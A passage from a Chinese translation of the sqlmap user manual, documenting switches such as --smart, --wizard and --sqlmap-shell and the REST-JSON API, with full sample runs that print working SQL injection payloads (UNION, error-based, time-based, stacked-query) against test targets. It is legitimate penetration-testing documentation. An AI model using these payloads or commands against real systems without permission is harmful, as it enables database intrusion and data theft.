)。如果目標響應與原始請求響應不同,那么它很可能存在防護機制。如果有任何問題,用戶可以使用開關 --skip-waf
來禁用此機制。
偽裝智能手機
開關:--mobile
有時 Web 服務器向手機提供的是不同於電腦的接口。在這種情況下,你可以強制使用預定義好的智能手機 HTTP User-Agent 頭部值。使用此開關,sqlmap 將詢問你選擇一種流行的智能手機,它將在當前運行中進行偽裝。
運行示例:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]
離線工作模式(僅使用會話數據)
開關:--offline
使用開關 --offline
,sqlmap 在數據枚舉中將僅使用上一個會話的數據。這基本上意味着在這樣的運行過程中是零連接嘗試的。
安全地刪除 data 目錄中所有內容
開關:--purge
While purging, all files from (sub)directories in data folder will be overwritten with random data, truncated, renamed to random names, (sub)directories will be renamed to random names too, and finally the whole directory tree will be deleted.
如果用戶決定安全刪除 sqlmap data 目錄(例如 $HOME/.sqlmap
)中的所有內容,包括之前 sqlmap 運行過的所有目標詳細信息,可以使用開關 --purge
。在清除時,data 目錄中的(子)目錄中的所有文件將被隨機數據覆蓋、截斷和被重命名為隨意名,(子)目錄也將被重命名為隨意名,最后整個目錄樹將被刪除。
運行示例:
$ python sqlmap.py --purge -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]
只有在使用啟發式檢測時才進行徹底的測試
開關:--smart
某些情況下,用戶擁有大量潛在目標 URL(例如:使用選項 -m
)列表,同時他想要盡快找到易受攻擊的目標。如果使用了開關 --smart
,則只有能引發 DBMS 錯誤的參數會在進一步的掃描中被使用。否則會被跳過。
針對 MySQL 目標的示例:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&use\
r=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' migh
t not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable [xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
HAVING clause' injectable [xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in jectable
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 colu
mns' injectable
[...]
根據 payloads 和/或標題選擇(或跳過)測試
選項:--test-filter
如果你想根據 payloads 和/或標題過濾測試,可以使用此選項。例如,要測試所有包含 ROW
關鍵字的 payloads,可以使用 --test-filter=ROW
。
針對 MySQL 目標的示例:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --b\
atch --test-filter=ROW
[...]
[xx:xx:39] [INFO] GET parameter 'id' is dynamic
[xx:xx:39] [WARNING] reflective value(s) found and filtering out
[xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[xx:xx:39] [INFO] testing for SQL injection on GET parameter 'id'
[xx:xx:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause
'
[xx:xx:39] [INFO] GET parameter 'id' is 'MySQL >= 4.1 AND error-based - WHERE or
HAVING clause' injectable GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 3 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELEC
T (C
ASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FRO
M (S
ELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY x)
---
[...]
選項:--test-skip=TEST
如果你想根據 payloads 和/或標題跳過測試,可以使用此選項。例如,想要跳過包含 BENCHMARK
關鍵字的 payloads,可以使用 --test-skip=BENCHMARK
。
交互式 sqlmap shell
開關:--sqlmap-shell
使用開關 --sqlmap-shell
,用戶可以看到交互式的 sqlmap shell,它具有所有以前運行的歷史記錄,包括使用過的選項和/或開關:
$ python sqlmap.py --sqlmap-shell
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=\
BEU --batch
_
___ ___| |_____ ___ ___ {1.0-dev-2188502}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at xx:xx:11
[xx:xx:11] [INFO] testing connection to the target URL
[xx:xx:12] [INFO] testing if the target URL is stable
[xx:xx:13] [INFO] target URL is stable
[xx:xx:13] [INFO] testing if GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] confirming that GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter 'artist' might
be injectable (possible DBMS: 'MySQL')
[xx:xx:13] [INFO] testing for SQL injection on GET parameter 'artist'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[xx:xx:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:13] [INFO] GET parameter 'artist' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (E
XP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (BIGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (B
IGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT
VALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACT
VALUE)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEX
ML)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[xx:xx:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[xx:xx:15] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[xx:xx:15] [INFO] target URL appears to have 3 columns in query
[xx:xx:16] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 2
0 columns' injectable
GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 39 HTTP(s) re
quests:
---
Parameter: artist (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: artist=1 AND 5707=5707
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:16] [INFO] testing MySQL
[xx:xx:16] [INFO] confirming MySQL
[xx:xx:16] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.0
[xx:xx:16] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com'
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner
_
___ ___| |_____ ___ ___ {1.0-dev-2188502}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at xx:xx:25
[xx:xx:26] [INFO] resuming back-end DBMS 'mysql'
[xx:xx:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: artist=1 AND 5707=5707
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:26] [INFO] the back-end DBMS is MySQL
[xx:xx:26] [INFO] fetching banner
web application technology: Nginx, PHP 5.3.10
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5
banner: '5.1.73-0ubuntu0.10.04.1'
[xx:xx:26] [INFO] fetched data logged to text files under '/home/stamparm/.sqlmap/output/testphp.vulnweb.com'
sqlmap-shell> exit
適合初學者使用的向導界面
開關:--wizard
sqlmap 為初學者提供了一個向導界面,它使用包含盡可能少的問題的簡單工作流。如果用戶輸入目標 URL 並使用了默認設置(例如:按 Enter
),則應該在工作流結束時正確設置 sqlmap 運行環境。
針對 Microsoft SQL Server 目標的示例:
$ python sqlmap.py --wizard
sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at xx:xx:26
Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_in
t.asp?id=1
POST data (--data) [Enter for None]:
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1
sqlmap is running, please wait..
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S
erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided l
evel (1) and risk (1)? [Y/n] Y
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2986=2986
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+C
HAR(58)+(SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58
)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)))
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(118)+CHAR(114)+CHAR(1
00)+CHAR(58)+CHAR(70)+CHAR(79)+CHAR(118)+CHAR(106)+CHAR(87)+CHAR(101)+CHAR(119)+
CHAR(115)+CHAR(114)+CHAR(77)+CHAR(58)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=1; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=1 WAITFOR DELAY '0:0:5'--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+CHAR(58)+(SELECT
(CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(111)+CHAR
(109)+CHAR(113)+CHAR(58))
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright (c) 1988-2005 Microsoft Corporation
Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user: 'sa'
current database: 'testdb'
current user is DBA: True
[*] shutting down at xx:xx:52
API(REST-JSON)
sqlmap 可以通過 REST-JSON API 運行,即使用 JSON 格式的 REST(REpresentational State Transfer 的縮寫)風格的 API 來進行服務器和客戶端實例之間的通信。直白地講,服務器使用 sqlmap 進行掃描,而客戶端設置 sqlmap 選項/開關並將結果拉取回來。用於運行 API 的主程序文件是 sqlmapapi.py
,而客戶端可以在任意用戶程序中進行實現。
$ python sqlmapapi.py -hh
Usage: sqlmapapi.py [options]
Options:
-h, --help show this help message and exit
-s, --server Act as a REST-JSON API server
-c, --client Act as a REST-JSON API client
-H HOST, --host=HOST Host of the REST-JSON API server (default "127.0.0.1")
-p PORT, --port=PORT Port of the the REST-JSON API server (default 8775)
--adapter=ADAPTER Server (bottle) adapter to use (default "wsgiref")
通過使用開關 -s
運行 sqlmapapi.py
啟用服務器,使用開關 -c
啟用客戶端,在這兩種情況下,用戶可以(可選)使用選項 -H
(默認為 "127.0.0.1"
)和選項 -p
(默認為 8775
)設置監聽的 IP 地址和端口。每個客戶端的“會話”可以有多個“任務”(例如:運行 sqlmap 掃描),用戶可以任意選擇某個任務處於當前活動狀態。
客戶端命令行界面可用的命令有:
help
——顯示可用命令列表以及基本的幫助信息new ARGS
——使用提供的參數開始一次新的掃描任務(例如:new -u "http://testphp.vulnweb.com/artists.php?artist=1"
)use TASKID
——切換當前上下文到不同任務(例如:use c04d8c5c7582efb4
)data
——獲取並顯示當前任務的數據log
- 獲取並顯示當前任務日志status
——獲取並顯示當前任務狀態stop
——停止當前任務kill
——殺死當前任務list
——顯示所有任務(當前會話)flush
——清空所有任務(例如:deletes)exit
——退出客戶端界面
運行服務器的示例:
$ python sqlmapapi.py -s -H "0.0.0.0"
[12:47:51] [INFO] Running REST-JSON API server at '0.0.0.0:8775'..
[12:47:51] [INFO] Admin ID: 89fd118997840a9bd7fc329ab535b881
[12:47:51] [DEBUG] IPC database: /tmp/sqlmapipc-SzBQnd
[12:47:51] [DEBUG] REST-JSON API server connected to IPC database
[12:47:51] [DEBUG] Using adapter 'wsgiref' to run bottle
[12:48:10] [DEBUG] Created new task: 'a42ddaef02e976f0'
[12:48:10] [DEBUG] [a42ddaef02e976f0] Started scan
[12:48:16] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:50] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:55] [DEBUG] [a42ddaef02e976f0] Retrieved scan log messages
[12:48:59] [DEBUG] [a42ddaef02e976f0] Retrieved scan data and error messages
運行客戶端的示例:
$ python sqlmapapi.py -c -H "192.168.110.1"
[12:47:53] [DEBUG] Example client access from command line:
$ taskid=$(curl http://192.168.110.1:8775/task/new 2>1 | grep -o -I '[a-f0-9
]\{16\}') && echo $taskid
$ curl -H "Content-Type: application/json" -X POST -d '{"url": "http://testp
hp.vulnweb.com/artists.php?artist=1"}' http://192.168.110.1:8775/scan/$taskid/st
art
$ curl http://192.168.110.1:8775/scan/$taskid/data
$ curl http://192.168.110.1:8775/scan/$taskid/log
[12:47:53] [INFO] Starting REST-JSON API client to 'http://192.168.110.1:8775'..
.
[12:47:53] [DEBUG] Calling http://192.168.110.1:8775
[12:47:53] [INFO] Type 'help' or '?' for list of available commands
api> ?
help Show this help message
new ARGS Start a new scan task with provided arguments (e.g. 'new -u "http://
testphp.vulnweb.com/artists.php?artist=1"')
use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4
')
data Retrieve and show data for current task
log Retrieve and show log for current task
status Retrieve and show status for current task
stop Stop current task
kill Kill current task
list Display all tasks
flush Flush tasks (delete all tasks)
exit Exit this client
api> new -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner --flush-s
ession
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/task/new
[12:48:10] [INFO] New task ID is 'a42ddaef02e976f0'
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/start
[12:48:10] [INFO] Scanning started
api (a42ddaef02e976f0)> status
[12:48:16] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
"status": "running",
"returncode": null,
"success": true
}
api (a42ddaef02e976f0)> status
[12:48:50] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
"status": "terminated",
"returncode": 0,
"success": true
}
api (a42ddaef02e976f0)> log
[12:48:55] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/log
{
"log": [
{
"message": "flushing session file",
"level": "INFO",
"time": "12:48:10"
},
{
"message": "testing connection to the target URL",
"level": "INFO",
"time": "12:48:10"
},
{
"message": "checking if the target is protected by some kind of WAF/
IPS",
"level": "INFO",
"time": "12:48:10"
},
{
"message": "testing if the target URL is stable",
"level": "INFO",
"time": "12:48:10"
},
{
"message": "target URL is stable",
"level": "INFO",
"time": "12:48:11"
},
{
"message": "testing if GET parameter 'artist' is dynamic",
"level": "INFO",
"time": "12:48:11"
},
{
"message": "confirming that GET parameter 'artist' is dynamic",
"level": "INFO",
"time": "12:48:11"
},
{
"message": "GET parameter 'artist' is dynamic",
"level": "INFO",
"time": "12:48:11"
},
{
"message": "heuristic (basic) test shows that GET parameter 'artist'
might be injectable (possible DBMS: 'MySQL')",
"level": "INFO",
"time": "12:48:11"
},
{
"message": "testing for SQL injection on GET parameter 'artist'",
"level": "INFO",
"time": "12:48:11"
},
{
"message": "testing 'AND boolean-based blind - WHERE or HAVING claus
e'",
"level": "INFO",
"time": "12:48:11"
},
{
"message": "GET parameter 'artist' appears to be 'AND boolean-based
blind - WHERE or HAVING clause' injectable (with --string=\"hac\")",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (BIGINT UNSIGNED)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (BIGINT UNSIGNED)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXP)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (EXP)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING,
ORDER BY or GROUP BY clause (JSON_KEYS)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING c
lause (JSON_KEYS)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (FLOOR)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXTRACTVALUE)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (EXTRACTVALUE)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (UPDATEXML)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (UPDATEXML)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING cla
use (FLOOR)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL OR error-based - WHERE or HAVING clause (
FLOOR)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (E
XTRACTVALUE)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.5 error-based - Parameter replace (B
IGINT UNSIGNED)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.5 error-based - Parameter replace (E
XP)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.7.8 error-based - Parameter replace
(JSON_KEYS)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.0 error-based - Parameter replace (F
LOOR)'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL >= 5.1 error-based - Parameter replace (U
PDATEXML)'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL >= 5.1 error-based - Parameter replace (E
XTRACTVALUE)'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL inline queries'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL > 5.0.11 stacked queries (comment)'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL > 5.0.11 stacked queries'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP - c
omment)'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL < 5.0.12 stacked queries (heavy query - c
omment)'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL < 5.0.12 stacked queries (heavy query)'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL >= 5.0.12 AND time-based blind'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AN
D time-based blind' injectable ",
"level": "INFO",
"time": "12:48:23"
},
{
"message": "testing 'Generic UNION query (NULL) - 1 to 20 columns'",
"level": "INFO",
"time": "12:48:23"
},
{
"message": "automatically extending ranges for UNION query injection
technique tests as there is at least one other (potential) technique found",
"level": "INFO",
"time": "12:48:23"
},
{
"message": "'ORDER BY' technique appears to be usable. This should r
educe the time needed to find the right number of query columns. Automatically e
xtending the range for current UNION query injection technique test",
"level": "INFO",
"time": "12:48:23"
},
{
"message": "target URL appears to have 3 columns in query",
"level": "INFO",
"time": "12:48:23"
},
{
"message": "GET parameter 'artist' is 'Generic UNION query (NULL) -
1 to 20 columns' injectable",
"level": "INFO",
"time": "12:48:24"
},
{
"message": "the back-end DBMS is MySQL",
"level": "INFO",
"time": "12:48:24"
},
{
"message": "fetching banner",
"level": "INFO",
"time": "12:48:24"
}
],
"success": true
}
api (a42ddaef02e976f0)> data
[12:48:59] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/data
{
"data": [
{
"status": 1,
"type": 0,
"value": [
{
"dbms": "MySQL",
"suffix": "",
"clause": [
1,
9
],
"notes": [],
"ptype": 1,
"dbms_version": [
">= 5.0.12"
],
"prefix": "",
"place": "GET",
"os": null,
"conf": {
"code": null,
"string": "hac",
"notString": null,
"titles": false,
"regexp": null,
"textOnly": false,
"optimize": false
},
"parameter": "artist",
"data": {
"1": {
"comment": "",
"matchRatio": 0.85,
"trueCode": 200,
"title": "AND boolean-based blind - WHERE or HAVING
clause",
"templatePayload": null,
"vector": "AND [INFERENCE]",
"falseCode": 200,
"where": 1,
"payload": "artist=1 AND 2794=2794"
},
"5": {
"comment": "",
"matchRatio": 0.85,
"trueCode": 200,
"title": "MySQL >= 5.0.12 AND time-based blind",
"templatePayload": null,
"vector": "AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLE
EPTIME]),[RANDNUM])",
"falseCode": null,
"where": 1,
"payload": "artist=1 AND SLEEP([SLEEPTIME])"
},
"6": {
"comment": "[GENERIC_SQL_COMMENT]",
"matchRatio": 0.85,
"trueCode": null,
"title": "Generic UNION query (NULL) - 1 to 20 colum
ns",
"templatePayload": null,
"vector": [
2,
3,
"[GENERIC_SQL_COMMENT]",
"",
"",
"NULL",
2,
false,
false
],
"falseCode": null,
"where": 2,
"payload": "artist=-5376 UNION ALL SELECT NULL,NULL,
CONCAT(0x716b706a71,0x4a754d495377744d4273616c436b4b6a504164666a5572477241596649
704c68614672644a477474,0x7162717171)-- aAjy"
}
}
}
]
},
{
"status": 1,
"type": 2,
"value": "5.1.73-0ubuntu0.10.04.1"
}
],
"success": true,
"error": []
}
api (a42ddaef02e976f0)> exit
$